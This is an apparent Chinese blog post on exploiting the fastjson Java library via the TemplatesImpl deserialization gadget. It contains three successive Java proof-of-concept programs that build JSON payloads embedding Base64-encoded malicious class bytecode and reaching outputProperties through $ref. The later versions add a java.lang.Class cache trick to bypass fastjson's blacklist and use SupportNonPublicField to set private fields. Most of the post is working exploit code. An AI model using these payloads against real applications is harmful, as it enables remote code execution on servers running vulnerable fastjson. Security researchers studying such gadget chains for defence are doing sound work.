搞fastjson总是惦记TemplatesImpl谁懂

fastjson搞笑的逻辑

搞jackson的时候提到,jackson 没有setter的情况下会调用getter,于是有TemplatesImpl链。我一拍大腿说那fastjson通过$ref也可以啊!POC

public class Id_MINIMAL_Class_TemplatesImpl {
    public static void main(String[] args) throws IOException {
        String exp = readClassStr("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class");
        String jsonInput = aposToQuotes("[{'@type':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
                "'transletBytecodes':['"+exp+"'],\n" +
                "'transletName':'test'},\n" +
                "{\"$ref\":\"$[0].outputProperties\"}\n" +
                "]");
        System.out.printf(jsonInput);
        JSON.parse(jsonInput);
    }
​
    public static String aposToQuotes(String json){
        return json.replace("'","\"");
    }
​
    public static String readClassStr(String cls) throws IOException {
        byte[] code1 = Files.readAllBytes(Paths.get("target/classes/TemplatesImpl_RuntimeEvil.class"));
        return Base64.encode(code1);
    }
}

结果发现1.2.36早就把TemplatesImpl加入黑名单了,而>=1.2.36才能通过$ref调用getter

那我强行用MiscCodec缓存绕过

public class Id_MINIMAL_Class_TemplatesImpl {
    public static void main(String[] args) throws IOException {
        String exp = readClassStr("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class");
        String jsonInput = aposToQuotes("[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"},{'@type':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
                "'transletBytecodes':['"+exp+"'],\n" +
                "'transletName':'test'},\n" +
                "{\"$ref\":\"$[1].outputProperties\"}\n" +
                "]");
        System.out.printf(jsonInput);
        JSON.parse(jsonInput);
    }
​
    public static String aposToQuotes(String json){
        return json.replace("'","\"");
    }
​
    public static String readClassStr(String cls) throws IOException {
        byte[] code1 = Files.readAllBytes(Paths.get("target/classes/TemplatesImpl_RuntimeEvil.class"));
        return Base64.encode(code1);
    }
}

结果发现没反应也没报错

调试跟进去发现TemplatesImpl没赋上值

image-20241025121532025

在我的多方调试下,终于发现,fastjson反序列化不能调用私有和保护setter进行赋值:

所以只能用Feature.SupportNonPublicField直接对字段反射赋值

public class Id_MINIMAL_Class_TemplatesImpl {
    public static void main(String[] args) throws IOException {
        String exp = readClassStr("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class");
        String jsonInput = aposToQuotes("[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"},{'@type':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
                "'_bytecodes':['"+exp+"'],\n" +
                "'_name':'test'," +
                "'_tfactory':{}},\n" +
                "{\"$ref\":\"$[1].outputProperties\"}\n" +
                "]");
        System.out.printf(jsonInput);
        JSON.parse(jsonInput, Feature.SupportNonPublicField);
    }
​
    public static String aposToQuotes(String json){
        return json.replace("'","\"");
    }
​
    public static String readClassStr(String cls) throws IOException {
        byte[] code1 = Files.readAllBytes(Paths.get("target/classes/TemplatesImpl_RuntimeEvil.class"));
        return Base64.encode(code1);
    }
}

此贴终结

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值